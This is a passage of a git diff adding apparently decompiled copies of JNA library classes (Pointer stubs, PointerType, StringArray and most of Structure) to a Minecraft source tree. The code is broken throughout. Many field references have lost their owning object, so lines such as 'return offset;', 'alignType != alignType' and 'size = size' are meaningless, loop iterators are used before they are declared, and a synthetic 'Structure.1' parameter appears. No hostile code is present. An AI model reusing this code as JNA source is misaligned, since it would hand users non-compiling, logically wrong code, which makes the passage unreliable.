+    public long getLong(long bOff) {
+      throw new UnsupportedOperationException(MSG);
+    }
+    
+    public float getFloat(long bOff) { throw new UnsupportedOperationException(MSG); }
+    
+    public double getDouble(long bOff) {
+      throw new UnsupportedOperationException(MSG);
+    }
+    
+    public Pointer getPointer(long bOff) { throw new UnsupportedOperationException(MSG); }
+    
+    public String getString(long bOff, boolean wide) {
+      throw new UnsupportedOperationException(MSG);
+    }
+    
+    public void setByte(long bOff, byte value) { throw new UnsupportedOperationException(MSG); }
+    
+    public void setChar(long bOff, char value) {
+      throw new UnsupportedOperationException(MSG);
+    }
+    
+    public void setShort(long bOff, short value) { throw new UnsupportedOperationException(MSG); }
+    
+    public void setInt(long bOff, int value) {
+      throw new UnsupportedOperationException(MSG);
+    }
+    
+    public void setLong(long bOff, long value) { throw new UnsupportedOperationException(MSG); }
+    
+    public void setFloat(long bOff, float value) {
+      throw new UnsupportedOperationException(MSG);
+    }
+    
+    public void setDouble(long bOff, double value) { throw new UnsupportedOperationException(MSG); }
+    
+    public void setPointer(long offset, Pointer value) {
+      throw new UnsupportedOperationException(MSG);
+    }
+    
+    public void setString(long offset, String value, boolean wide) { throw new UnsupportedOperationException(MSG); }
+    
+    public String toString() {
+      return "opaque@0x" + Long.toHexString(peer);
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/PointerType.java b/src/minecraft/com/sun/jna/PointerType.java
new file mode 100644
index 0000000..34369e1
--- /dev/null
+++ b/src/minecraft/com/sun/jna/PointerType.java
@@ -0,0 +1,103 @@
+package com.sun.jna;
+
+
+
+
+
+
+
+
+
+public abstract class PointerType
+  implements NativeMapped
+{
+  private Pointer pointer;
+  
+
+
+
+
+
+
+
+  protected PointerType()
+  {
+    pointer = Pointer.NULL;
+  }
+  
+
+
+  protected PointerType(Pointer p)
+  {
+    pointer = p;
+  }
+  
+
+  public Class nativeType()
+  {
+    return Pointer.class;
+  }
+  
+  public Object toNative()
+  {
+    return getPointer();
+  }
+  
+  public Pointer getPointer()
+  {
+    return pointer;
+  }
+  
+  public void setPointer(Pointer p) {
+    pointer = p;
+  }
+  
+
+
+
+
+
+
+  public Object fromNative(Object nativeValue, FromNativeContext context)
+  {
+    if (nativeValue == null) {
+      return null;
+    }
+    try {
+      PointerType pt = (PointerType)getClass().newInstance();
+      pointer = ((Pointer)nativeValue);
+      return pt;
+    }
+    catch (InstantiationException e) {
+      throw new IllegalArgumentException("Can't instantiate " + getClass());
+    }
+    catch (IllegalAccessException e) {
+      throw new IllegalArgumentException("Not allowed to instantiate " + getClass());
+    }
+  }
+  
+
+
+  public int hashCode()
+  {
+    return pointer != null ? pointer.hashCode() : 0;
+  }
+  
+
+
+  public boolean equals(Object o)
+  {
+    if (o == this) return true;
+    if ((o instanceof PointerType)) {
+      Pointer p = ((PointerType)o).getPointer();
+      if (pointer == null)
+        return p == null;
+      return pointer.equals(p);
+    }
+    return false;
+  }
+  
+  public String toString() {
+    return pointer == null ? "NULL" : pointer.toString();
+  }
+}
diff --git a/src/minecraft/com/sun/jna/StringArray.java b/src/minecraft/com/sun/jna/StringArray.java
new file mode 100644
index 0000000..d0b3753
--- /dev/null
+++ b/src/minecraft/com/sun/jna/StringArray.java
@@ -0,0 +1,74 @@
+package com.sun.jna;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StringArray
+  extends Memory
+  implements Function.PostCallRead
+{
+  private boolean wide;
+  private List natives = new ArrayList();
+  private Object[] original;
+  
+  public StringArray(String[] strings) {
+    this(strings, false);
+  }
+  
+  public StringArray(String[] strings, boolean wide) {
+    this((Object[])strings, wide);
+  }
+  
+
+  public StringArray(WString[] strings) { this(strings, true); }
+  
+  private StringArray(Object[] strings, boolean wide) {
+    super((strings.length + 1) * Pointer.SIZE);
+    original = strings;
+    this.wide = wide;
+    for (int i = 0; i < strings.length; i++) {
+      Pointer p = null;
+      if (strings[i] != null) {
+        NativeString ns = new NativeString(strings[i].toString(), wide);
+        natives.add(ns);
+        p = ns.getPointer();
+      }
+      setPointer(Pointer.SIZE * i, p);
+    }
+    setPointer(Pointer.SIZE * strings.length, null);
+  }
+  
+  public void read() {
+    boolean returnWide = original instanceof WString[];
+    for (int si = 0; si < original.length; si++) {
+      Pointer p = getPointer(si * Pointer.SIZE);
+      Object s = null;
+      if (p != null) {
+        s = p.getString(0L, wide);
+        if (returnWide) s = new WString((String)s);
+      }
+      original[si] = s;
+    }
+  }
+  
+  public String toString() {
+    String s = wide ? "const wchar_t*[]" : "const char*[]";
+    s = s + Arrays.asList(original);
+    return s;
+  }
+}
diff --git a/src/minecraft/com/sun/jna/Structure.java b/src/minecraft/com/sun/jna/Structure.java
new file mode 100644
index 0000000..7276df7
--- /dev/null
+++ b/src/minecraft/com/sun/jna/Structure.java
@@ -0,0 +1,1615 @@
+package com.sun.jna;
+
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.lang.reflect.Modifier;
+import java.nio.Buffer;
+import java.util.AbstractCollection;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.WeakHashMap;
+import java.util.zip.Adler32;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Structure
+{
+  private static final boolean REVERSE_FIELDS;
+  private static final boolean REQUIRES_FIELD_ORDER;
+  static final boolean isPPC;
+  static final boolean isSPARC;
+  static final boolean isARM;
+  public static final int ALIGN_DEFAULT = 0;
+  public static final int ALIGN_NONE = 1;
+  public static final int ALIGN_GNUC = 2;
+  public static final int ALIGN_MSVC = 3;
+  
+  public static abstract interface ByValue {}
+  
+  public static abstract interface ByReference {}
+  
+  private static class MemberOrder
+  {
+    private static final String[] FIELDS = { "first", "second", "middle", "penultimate", "last" };
+    
+
+    public int first;
+    
+    public int second;
+    
+    public int middle;
+    
+    public int penultimate;
+    
+    public int last;
+    
+
+    private MemberOrder() {}
+  }
+  
+
+  static
+  {
+    Field[] fields = MemberOrder.class.getFields();
+    List names = new ArrayList();
+    for (int i = 0; i < fields.length; i++) {
+      names.add(fields[i].getName());
+    }
+    List expected = Arrays.asList(MemberOrder.FIELDS);
+    List reversed = new ArrayList(expected);
+    Collections.reverse(reversed);
+    
+    REVERSE_FIELDS = names.equals(reversed);
+    REQUIRES_FIELD_ORDER = (!names.equals(expected)) && (!REVERSE_FIELDS);
+    String arch = System.getProperty("os.arch").toLowerCase();
+    isPPC = ("ppc".equals(arch)) || ("powerpc".equals(arch));
+    isSPARC = "sparc".equals(arch);
+    isARM = "arm".equals(arch);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static final int MAX_GNUC_ALIGNMENT = (isSPARC) || (((isPPC) || (isARM)) && (Platform.isLinux())) ? 8 : Native.LONG_SIZE;
+  
+  protected static final int CALCULATE_SIZE = -1;
+  
+  static final Map layoutInfo = new WeakHashMap();
+  
+  private Pointer memory;
+  
+  private int size = -1;
+  
+  private int alignType;
+  private int structAlignment;
+  private Map structFields;
+  private final Map nativeStrings = new HashMap();
+  
+  private TypeMapper typeMapper;
+  private long typeInfo;
+  private List fieldOrder;
+  private boolean autoRead = true;
+  private boolean autoWrite = true;
+  private Structure[] array;
+  
+  protected Structure() {
+    this((Pointer)null);
+  }
+  
+  protected Structure(TypeMapper mapper) {
+    this((Pointer)null, 0, mapper);
+  }
+  
+  protected Structure(Pointer p)
+  {
+    this(p, 0);
+  }
+  
+  protected Structure(Pointer p, int alignType) {
+    this(p, alignType, null);
+  }
+  
+  protected Structure(Pointer p, int alignType, TypeMapper mapper) {
+    setAlignType(alignType);
+    setTypeMapper(mapper);
+    if (p != null) {
+      useMemory(p);
+    }
+    else {
+      allocateMemory(-1);
+    }
+  }
+  
+
+
+
+
+
+  Map fields()
+  {
+    return structFields;
+  }
+  
+  TypeMapper getTypeMapper()
+  {
+    return typeMapper;
+  }
+  
+
+
+
+
+  protected void setTypeMapper(TypeMapper mapper)
+  {
+    if (mapper == null) {
+      Class declaring = getClass().getDeclaringClass();
+      if (declaring != null) {
+        mapper = Native.getTypeMapper(declaring);
+      }
+    }
+    typeMapper = mapper;
+    size = -1;
+    if ((memory instanceof AutoAllocated)) {
+      memory = null;
+    }
+  }
+  
+
+
+
+  protected void setAlignType(int alignType)
+  {
+    if (alignType == 0) {
+      Class declaring = getClass().getDeclaringClass();
+      if (declaring != null)
+        alignType = Native.getStructureAlignment(declaring);
+      if (alignType == 0) {
+        if (Platform.isWindows()) {
+          alignType = 3;
+        } else
+          alignType = 2;
+      }
+    }
+    this.alignType = alignType;
+    size = -1;
+    if ((memory instanceof AutoAllocated)) {
+      memory = null;
+    }
+  }
+  
+  protected Memory autoAllocate(int size) {
+    return new AutoAllocated(size);
+  }
+  
+
+
+
+
+  protected void useMemory(Pointer m)
+  {
+    useMemory(m, 0);
+  }
+  
+
+
+
+
+
+
+
+  protected void useMemory(Pointer m, int offset)
+  {
+    try
+    {
+      memory = m.share(offset);
+      if (size == -1) {
+        size = calculateSize(false);
+      }
+      if (size != -1) {
+        memory = m.share(offset, size);
+      }
+      array = null;
+    }
+    catch (IndexOutOfBoundsException e) {
+      throw new IllegalArgumentException("Structure exceeds provided memory bounds");
+    }
+  }
+  
+
+  protected void ensureAllocated()
+  {
+    ensureAllocated(false);
+  }
+  
+
+
+
+
+  private void ensureAllocated(boolean avoidFFIType)
+  {
+    if (memory == null) {
+      allocateMemory(avoidFFIType);
+    }
+    else if (size == -1) {
+      size = calculateSize(true, avoidFFIType);
+    }
+  }
+  
+
+
+  protected void allocateMemory()
+  {
+    allocateMemory(false);
+  }
+  
+  private void allocateMemory(boolean avoidFFIType) {
+    allocateMemory(calculateSize(true, avoidFFIType));
+  }
+  
+
+
+
+
+
+  protected void allocateMemory(int size)
+  {
+    if (size == -1)
+    {
+      size = calculateSize(false);
+    }
+    else if (size <= 0) {
+      throw new IllegalArgumentException("Structure size must be greater than zero: " + size);
+    }
+    
+
+    if (size != -1) {
+      if ((memory == null) || ((memory instanceof AutoAllocated)))
+      {
+        memory = autoAllocate(size);
+      }
+      this.size = size;
+    }
+  }
+  
+  public int size() {
+    ensureAllocated();
+    if (size == -1) {
+      size = calculateSize(true);
+    }
+    return size;
+  }
+  
+  public void clear() {
+    memory.clear(size());
+  }
+  
+
+
+
+
+
+
+  public Pointer getPointer()
+  {
+    ensureAllocated();
+    return memory;
+  }
+  
+
+
+
+
+
+
+  private static final ThreadLocal reads = new ThreadLocal() {
+    protected synchronized Object initialValue() {
+      return new HashMap();
+    }
+  };
+  
+
+
+  private static final ThreadLocal busy = new ThreadLocal() {
+    class StructureSet extends AbstractCollection implements Set {
+      private Structure[] elements;
+      private int count;
+      
+      StructureSet() {}
+      
+      private void ensureCapacity(int size) {
+        if (elements == null) {
+          elements = new Structure[size * 3 / 2];
+        }
+        else if (elements.length < size) {
+          Structure[] e = new Structure[size * 3 / 2];
+          System.arraycopy(elements, 0, e, 0, elements.length);
+          elements = e;
+        } }
+      
+      public int size() { return count; }
+      
+      public boolean contains(Object o) { return indexOf(o) != -1; }
+      
+      public boolean add(Object o) {
+        if (!contains(o)) {
+          ensureCapacity(count + 1);
+          elements[(count++)] = ((Structure)o);
+        }
+        return true;
+      }
+      
+      private int indexOf(Object o) { Structure s1 = (Structure)o;
+        for (int i = 0; i < count; i++) {
+          Structure s2 = elements[i];
+          if ((s1 == s2) || ((s1.getClass() == s2.getClass()) && (s1.size() == s2.size()) && (s1.getPointer().equals(s2.getPointer()))))
+          {
+
+
+            return i;
+          }
+        }
+        return -1;
+      }
+      
+      public boolean remove(Object o) { int idx = indexOf(o);
+        if (idx != -1) {
+          if (--count > 0) {
+            elements[idx] = elements[count];
+            elements[count] = null;
+          }
+          return true;
+        }
+        return false;
+      }
+      
+
+      public Iterator iterator()
+      {
+        Structure[] e = new Structure[count];
+        if (count > 0) {
+          System.arraycopy(elements, 0, e, 0, count);
+        }
+        return Arrays.asList(e).iterator();
+      }
+    }
+    
+    protected synchronized Object initialValue() { return new StructureSet(); }
+  };
+  
+  static Set busy() {
+    return (Set)busy.get();
+  }
+  
+  static Map reading() { return (Map)reads.get(); }
+  
+
+
+
+
+
+
+
+  public void read()
+  {
+    ensureAllocated();
+    
+
+    if (busy().contains(this)) {
+      return;
+    }
+    busy().add(this);
+    if ((this instanceof ByReference)) {
+      reading().put(getPointer(), this);
+    }
+    try {
+      for (i = fields().values().iterator(); i.hasNext();) {
+        readField((StructField)i.next());
+      }
+    } finally {
+      Iterator i;
+      busy().remove(this);
+      if (reading().get(getPointer()) == this) {
+        reading().remove(getPointer());
+      }
+    }
+  }
+  
+  protected int fieldOffset(String name)
+  {
+    ensureAllocated();
+    StructField f = (StructField)fields().get(name);
+    if (f == null)
+      throw new IllegalArgumentException("No such field: " + name);
+    return offset;
+  }
+  
+
+
+
+
+  public Object readField(String name)
+  {
+    ensureAllocated();
+    StructField f = (StructField)fields().get(name);
+    if (f == null)
+      throw new IllegalArgumentException("No such field: " + name);
+    return readField(f);
+  }
+  
+
+  Object getField(StructField structField)
+  {
+    try
+    {
+      return field.get(this);
+    }
+    catch (Exception e) {
+      throw new Error("Exception reading field '" + name + "' in " + getClass() + ": " + e);
+    }
+  }
+  
+
+  void setField(StructField structField, Object value)
+  {
+    setField(structField, value, false);
+  }
+  
+  void setField(StructField structField, Object value, boolean overrideFinal) {
+    try {
+      field.set(this, value);
+    }
+    catch (IllegalAccessException e) {
+      int modifiers = field.getModifiers();
+      if (Modifier.isFinal(modifiers)) {
+        if (overrideFinal)
+        {
+
+          throw new UnsupportedOperationException("This VM does not support Structures with final fields (field '" + name + "' within " + getClass() + ")");
+        }
+        throw new UnsupportedOperationException("Attempt to write to read-only field '" + name + "' within " + getClass());
+      }
+      throw new Error("Unexpectedly unable to write to field '" + name + "' within " + getClass() + ": " + e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  static Structure updateStructureByReference(Class type, Structure s, Pointer address)
+  {
+    if (address == null) {
+      s = null;
+    }
+    else {
+      if ((s == null) || (!address.equals(s.getPointer()))) {
+        Structure s1 = (Structure)reading().get(address);
+        if ((s1 != null) && (type.equals(s1.getClass()))) {
+          s = s1;
+        }
+        else {
+          s = newInstance(type);
+          s.useMemory(address);
+        }
+      }
+      s.autoRead();
+    }
+    return s;
+  }
+  
+
+
+
+
+
+  Object readField(StructField structField)
+  {
+    int offset = offset;
+    
+
+    Class fieldType = type;
+    FromNativeConverter readConverter = readConverter;
+    if (readConverter != null) {
+      fieldType = readConverter.nativeType();
+    }
+    
+    Object currentValue = (Structure.class.isAssignableFrom(fieldType)) || (Callback.class.isAssignableFrom(fieldType)) || ((Platform.HAS_BUFFERS) && (Buffer.class.isAssignableFrom(fieldType))) || (Pointer.class.isAssignableFrom(fieldType)) || (NativeMapped.class.isAssignableFrom(fieldType)) || (fieldType.isArray()) ? getField(structField) : null;
+    
+
+
+
+
+
+
+    Object result = memory.getValue(offset, fieldType, currentValue);
+    if (readConverter != null) {
+      result = readConverter.fromNative(result, context);
+    }
+    
+
+    setField(structField, result, true);
+    return result;
+  }
+  
+
+
+
+
+
+  public void write()
+  {
+    ensureAllocated();
+    
+
+    if ((this instanceof ByValue)) {
+      getTypeInfo();
+    }
+    
+
+    if (busy().contains(this)) {
+      return;
+    }
+    busy().add(this);
+    try
+    {
+      for (i = fields().values().iterator(); i.hasNext();) {
+        StructField sf = (StructField)i.next();
+        if (!isVolatile) {
+          writeField(sf);
+        }
+      }
+    } finally {
+      Iterator i;
+      busy().remove(this);
+    }
+  }
+  
+
+
+
+  public void writeField(String name)
+  {
+    ensureAllocated();
+    StructField f = (StructField)fields().get(name);
+    if (f == null)
+      throw new IllegalArgumentException("No such field: " + name);
+    writeField(f);
+  }
+  
+
+
+
+
+  public void writeField(String name, Object value)
+  {
+    ensureAllocated();
+    StructField f = (StructField)fields().get(name);
+    if (f == null)
+      throw new IllegalArgumentException("No such field: " + name);
+    setField(f, value);
+    writeField(f);
+  }
+  
+  void writeField(StructField structField)
+  {
+    if (isReadOnly) {
+      return;
+    }
+    
+    int offset = offset;
+    
+
+    Object value = getField(structField);
+    
+
+    Class fieldType = type;
+    ToNativeConverter converter = writeConverter;
+    if (converter != null) {
+      value = converter.toNative(value, new StructureWriteContext(this, field));
+      fieldType = converter.nativeType();
+    }
+    
+
+    if ((String.class == fieldType) || (WString.class == fieldType))
+    {
+
+
+      boolean wide = fieldType == WString.class;
+      if (value != null) {
+        NativeString nativeString = new NativeString(value.toString(), wide);
+        
+
+        nativeStrings.put(name, nativeString);
+        value = nativeString.getPointer();
+      }
+      else {
+        value = null;
+        nativeStrings.remove(name);
+      }
+    }
+    try
+    {
+      memory.setValue(offset, value, fieldType);
+    }
+    catch (IllegalArgumentException e) {
+      String msg = "Structure field \"" + name + "\" was declared as " + type + (type == fieldType ? "" : new StringBuffer().append(" (native type ").append(fieldType).append(")").toString()) + ", which is not supported within a Structure";
+      
+
+
+
+      throw new IllegalArgumentException(msg);
+    }
+  }
+  
+  private boolean hasFieldOrder() {
+    synchronized (this) {
+      return fieldOrder != null;
+    }
+  }
+  
+  protected List getFieldOrder() {
+    synchronized (this) {
+      if (fieldOrder == null) {
+        fieldOrder = new ArrayList();
+      }
+      return fieldOrder;
+    }
+  }
+  
+
+
+  protected void setFieldOrder(String[] fields)
+  {
+    getFieldOrder().addAll(Arrays.asList(fields));
+    
+
+    size = -1;
+    if ((memory instanceof AutoAllocated)) {
+      memory = null;
+    }
+  }
+  
+  protected void sortFields(List fields, List names)
+  {
+    for (int i = 0; i < names.size(); i++) {
+      String name = (String)names.get(i);
+      for (int f = 0; f < fields.size(); f++) {
+        Field field = (Field)fields.get(f);
+        if (name.equals(field.getName())) {
+          Collections.swap(fields, i, f);
+          break;
+        }
+      }
+    }
+  }
+  
+  protected List getFields(boolean force)
+  {
+    List flist = new ArrayList();
+    for (Class cls = getClass(); 
+        !cls.equals(Structure.class); 
+        cls = cls.getSuperclass()) {
+      List classFields = new ArrayList();
+      Field[] fields = cls.getDeclaredFields();
+      for (int i = 0; i < fields.length; i++) {
+        int modifiers = fields[i].getModifiers();
+        if ((!Modifier.isStatic(modifiers)) && (Modifier.isPublic(modifiers)))
+        {
+
+          classFields.add(fields[i]); }
+      }
+      if (REVERSE_FIELDS) {
+        Collections.reverse(classFields);
+      }
+      flist.addAll(0, classFields);
+    }
+    if ((REQUIRES_FIELD_ORDER) || (hasFieldOrder())) {
+      List fieldOrder = getFieldOrder();
+      if (fieldOrder.size() < flist.size()) {
+        if (force) {
+          throw new Error("This VM does not store fields in a predictable order; you must use Structure.setFieldOrder to explicitly indicate the field order: " + System.getProperty("java.vendor") + ", " + System.getProperty("java.version"));
+        }
+        return null;
+      }
+      sortFields(flist, fieldOrder);
+    }
+    return flist;
+  }
+  
+  private synchronized boolean fieldOrderMatch(List fieldOrder)
+  {
+    return (this.fieldOrder == fieldOrder) || ((this.fieldOrder != null) && (this.fieldOrder.equals(fieldOrder)));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private int calculateSize(boolean force)
+  {
+    return calculateSize(force, false);
+  }
+  
+  int calculateSize(boolean force, boolean avoidFFIType)
+  {
+    boolean needsInit = true;
+    LayoutInfo info; synchronized (layoutInfo) {
+      info = (LayoutInfo)layoutInfo.get(getClass());
+    }
+    if ((info == null) || (alignType != alignType) || (typeMapper != typeMapper) || (!fieldOrderMatch(fieldOrder)))
+    {
+
+
+      info = deriveLayout(force, avoidFFIType);
+      needsInit = false;
+    }
+    if (info != null) {
+      structAlignment = alignment;
+      structFields = fields;
+      alignType = alignType;
+      typeMapper = typeMapper;
+      fieldOrder = fieldOrder;
+      if (!variable) {
+        synchronized (layoutInfo) {
+          layoutInfo.put(getClass(), info);
+        }
+      }
+      if (needsInit) {
+        initializeFields();
+      }
+      return size;
+    }
+    return -1;
+  }
+  
+  private class LayoutInfo {
+    private LayoutInfo() {}
+    
+    LayoutInfo(Structure.1 x1) { this(); }
+    int size = -1;
+    int alignment = 1;
+    Map fields = Collections.synchronizedMap(new LinkedHashMap());
+    int alignType = 0;
+    
+    TypeMapper typeMapper;
+    
+    List fieldOrder;
+    boolean variable;
+  }
+  
+  private LayoutInfo deriveLayout(boolean force, boolean avoidFFIType)
+  {
+    LayoutInfo info = new LayoutInfo(null);
+    int calculatedSize = 0;
+    List fields = getFields(force);
+    if (fields == null) {
+      return null;
+    }
+    
+    boolean firstField = true;
+    for (Iterator i = fields.iterator(); i.hasNext(); firstField = false) {
+      Field field = (Field)i.next();
+      int modifiers = field.getModifiers();
+      
+      Class type = field.getType();
+      if (type.isArray()) {
+        variable = true;
+      }
+      StructField structField = new StructField();
+      isVolatile = Modifier.isVolatile(modifiers);
+      isReadOnly = Modifier.isFinal(modifiers);
+      if (isReadOnly) {
+        if (!Platform.RO_FIELDS) {
+          throw new IllegalArgumentException("This VM does not support read-only fields (field '" + field.getName() + "' within " + getClass() + ")");
+        }
+        
+
+        field.setAccessible(true);
+      }
+      field = field;
+      name = field.getName();
+      type = type;
+      
+
+      if ((Callback.class.isAssignableFrom(type)) && (!type.isInterface())) {
+        throw new IllegalArgumentException("Structure Callback field '" + field.getName() + "' must be an interface");
+      }
+      
+
+      if ((type.isArray()) && (Structure.class.equals(type.getComponentType())))
+      {
+        String msg = "Nested Structure arrays must use a derived Structure type so that the size of the elements can be determined";
+        
+
+        throw new IllegalArgumentException(msg);
+      }
+      
+      int fieldAlignment = 1;
+      if (Modifier.isPublic(field.getModifiers()))
+      {
+
+
+        Object value = getField(structField);
+        if ((value == null) && (type.isArray())) {
+          if (force) {
+            throw new IllegalStateException("Array fields must be initialized");
+          }
+          
+          return null;
+        }
+        Class nativeType = type;
+        if (NativeMapped.class.isAssignableFrom(type)) {
+          NativeMappedConverter tc = NativeMappedConverter.getInstance(type);
+          nativeType = tc.nativeType();
+          writeConverter = tc;
+          readConverter = tc;
+          context = new StructureReadContext(this, field);
+        }
+        else if (typeMapper != null) {
+          ToNativeConverter writeConverter = typeMapper.getToNativeConverter(type);
+          FromNativeConverter readConverter = typeMapper.getFromNativeConverter(type);
+          if ((writeConverter != null) && (readConverter != null)) {
+            value = writeConverter.toNative(value, new StructureWriteContext(this, field));
+            
+            nativeType = Pointer.class;
+            writeConverter = writeConverter;
+            readConverter = readConverter;
+            context = new StructureReadContext(this, field);
+          }
+          else if ((writeConverter != null) || (readConverter != null)) {
+            String msg = "Structures require bidirectional type conversion for " + type;
+            throw new IllegalArgumentException(msg);
+          }
+        }
+        
+        if (value == null) {
+          value = initializeField(structField, type);
+        }
+        try
+        {
+          size = getNativeSize(nativeType, value);
+          fieldAlignment = getNativeAlignment(nativeType, value, firstField);
+        }
+        catch (IllegalArgumentException e)
+        {
+          if ((!force) && (typeMapper == null)) {
+            return null;
+          }
+          String msg = "Invalid Structure field in " + getClass() + ", field name '" + name + "', " + type + ": " + e.getMessage();
+          throw new IllegalArgumentException(msg);
+        }
+        
+
+        alignment = Math.max(alignment, fieldAlignment);
+        if (calculatedSize % fieldAlignment != 0) {
+          calculatedSize += fieldAlignment - calculatedSize % fieldAlignment;
+        }
+        offset = calculatedSize;
+        calculatedSize += size;
+        
+
+        fields.put(name, structField);
+      }
+    }
+    if (calculatedSize > 0) {
+      int size = calculateAlignedSize(calculatedSize, alignment);
+      
+      if (((this instanceof ByValue)) && (!avoidFFIType)) {
+        getTypeInfo();
+      }
+      if ((memory != null) && (!(memory instanceof AutoAllocated)))
+      {
+
+        memory = memory.share(0L, size);
+      }
+      size = size;
+      return info;
+    }
+    
+    throw new IllegalArgumentException("Structure " + getClass() + " has unknown size (ensure " + "all fields are public)");
+  }
+  
+
+
+
+  private void initializeFields()
+  {
+    for (Iterator i = fields().values().iterator(); i.hasNext();) {
+      StructField f = (StructField)i.next();
+      initializeField(f, type);
+    }
+  }
+  
+  private Object initializeField(StructField structField, Class type) {
+    Object value = null;
+    if ((Structure.class.isAssignableFrom(type)) && (!ByReference.class.isAssignableFrom(type)))
+    {
+      try {
+        value = newInstance(type);
+        setField(structField, value);
+      }
+      catch (IllegalArgumentException e) {
+        String msg = "Can't determine size of nested structure: " + e.getMessage();
+        
+        throw new IllegalArgumentException(msg);
+      }
+    }
+    else if (NativeMapped.class.isAssignableFrom(type)) {
+      NativeMappedConverter tc = NativeMappedConverter.getInstance(type);
+      value = tc.defaultValue();
+      setField(structField, value);
+    }
+    return value;
+  }
+  
+  int calculateAlignedSize(int calculatedSize) {
+    return calculateAlignedSize(calculatedSize, structAlignment);
+  }
+  
+
+  private int calculateAlignedSize(int calculatedSize, int alignment)
+  {
+    if ((alignType != 1) && 
+      (calculatedSize % alignment != 0)) {
+      calculatedSize += alignment - calculatedSize % alignment;
+    }
+    
+    return calculatedSize;
+  }
+  
+  protected int getStructAlignment() {
+    if (size == -1)
+    {
+      calculateSize(true);
+    }
+    return structAlignment;
+  }
+  
+
+
+
+  protected int getNativeAlignment(Class type, Object value, boolean isFirstElement)
+  {
+    int alignment = 1;
+    if (NativeMapped.class.isAssignableFrom(type)) {
+      NativeMappedConverter tc = NativeMappedConverter.getInstance(type);
+      type = tc.nativeType();
+      value = tc.toNative(value, new ToNativeContext());
+    }
+    int size = Native.getNativeSize(type, value);
+    if ((type.isPrimitive()) || (Long.class == type) || (Integer.class == type) || (Short.class == type) || (Character.class == type) || (Byte.class == type) || (Boolean.class == type) || (Float.class == type) || (Double.class == type))
+    {
+
+
+      alignment = size;
+    }
+    else if ((Pointer.class == type) || ((Platform.HAS_BUFFERS) && (Buffer.class.isAssignableFrom(type))) || (Callback.class.isAssignableFrom(type)) || (WString.class == type) || (String.class == type))
+    {
+
+
+
+      alignment = Pointer.SIZE;
+    }
+    else if (Structure.class.isAssignableFrom(type)) {
+      if (ByReference.class.isAssignableFrom(type)) {
+        alignment = Pointer.SIZE;
+      }
+      else {
+        if (value == null)
+          value = newInstance(type);
+        alignment = ((Structure)value).getStructAlignment();
+      }
+    }
+    else if (type.isArray()) {
+      alignment = getNativeAlignment(type.getComponentType(), null, isFirstElement);
+    }
+    else {
+      throw new IllegalArgumentException("Type " + type + " has unknown " + "native alignment");
+    }
+    
+    if (alignType == 1) {
+      alignment = 1;
+    }
+    else if (alignType == 3) {
+      alignment = Math.min(8, alignment);
+    }
+    else if (alignType == 2)
+    {
+
+      if ((!isFirstElement) || (!Platform.isMac()) || (!isPPC)) {
+        alignment = Math.min(MAX_GNUC_ALIGNMENT, alignment);
+      }
+    }
+    return alignment;
+  }
+  
+  public String toString() {
+    return toString(Boolean.getBoolean("jna.dump_memory"));
+  }
+  
+  public String toString(boolean debug) {
+    return toString(0, true, true);
+  }
+  
+  private String format(Class type) {
+    String s = type.getName();
+    int dot = s.lastIndexOf(".");
+    return s.substring(dot + 1);
+  }
+  
+  private String toString(int indent, boolean showContents, boolean dumpMemory) {
+    ensureAllocated();
+    String LS = System.getProperty("line.separator");
+    String name = format(getClass()) + "(" + getPointer() + ")";
+    if (!(getPointer() instanceof Memory)) {
+      name = name + " (" + size() + " bytes)";
+    }
+    String prefix = "";
+    for (int idx = 0; idx < indent; idx++) {
+      prefix = prefix + "  ";
+    }
+    String contents = LS;
+    Iterator i; if (!showContents) {
+      contents = "...}";
+    } else
+      for (i = fields().values().iterator(); i.hasNext();) {
+        StructField sf = (StructField)i.next();
+        Object value = getField(sf);
+        String type = format(type);
+        String index = "";
+        contents = contents + prefix;
+        if ((type.isArray()) && (value != null)) {
+          type = format(type.getComponentType());
+          index = "[" + Array.getLength(value) + "]";
+        }
+        contents = contents + "  " + type + " " + name + index + "@" + Integer.toHexString(offset);
+        
+        if ((value instanceof Structure)) {
+          value = ((Structure)value).toString(indent + 1, !(value instanceof ByReference), dumpMemory);
+        }
+        contents = contents + "=";
+        if ((value instanceof Long)) {
+          contents = contents + Long.toHexString(((Long)value).longValue());
+        }
+        else if ((value instanceof Integer)) {
+          contents = contents + Integer.toHexString(((Integer)value).intValue());
+        }
+        else if ((value instanceof Short)) {
+          contents = contents + Integer.toHexString(((Short)value).shortValue());
+        }
+        else if ((value instanceof Byte)) {
+          contents = contents + Integer.toHexString(((Byte)value).byteValue());
+        }
+        else {
+          contents = contents + String.valueOf(value).trim();
+        }
+        contents = contents + LS;
+        if (!i.hasNext())
+          contents = contents + prefix + "}";
+      }
+    if ((indent == 0) && (dumpMemory)) {
+      int BYTES_PER_ROW = 4;
+      contents = contents + LS + "memory dump" + LS;
+      byte[] buf = getPointer().getByteArray(0L, size());
+      for (int i = 0; i < buf.length; i++) {
+        if (i % 4 == 0) contents = contents + "[";
+        if ((buf[i] >= 0) && (buf[i] < 16))
+          contents = contents + "0";
+        contents = contents + Integer.toHexString(buf[i] & 0xFF);
+        if ((i % 4 == 3) && (i < buf.length - 1))
+          contents = contents + "]" + LS;
+      }
+      contents = contents + "]";
+    }
+    return name + " {" + contents;
+  }
+  
+
+
+
+
+
+  public Structure[] toArray(Structure[] array)
+  {
+    ensureAllocated();
+    if ((memory instanceof AutoAllocated))
+    {
+      Memory m = (Memory)memory;
+      int requiredSize = array.length * size();
+      if (m.size() < requiredSize) {
+        useMemory(autoAllocate(requiredSize));
+      }
+    }
+    array[0] = this;
+    int size = size();
+    for (int i = 1; i < array.length; i++) {
+      array[i] = newInstance(getClass());
+      array[i].useMemory(memory.share(i * size, size));
+      array[i].read();
+    }
+    
+    if (!(this instanceof ByValue))
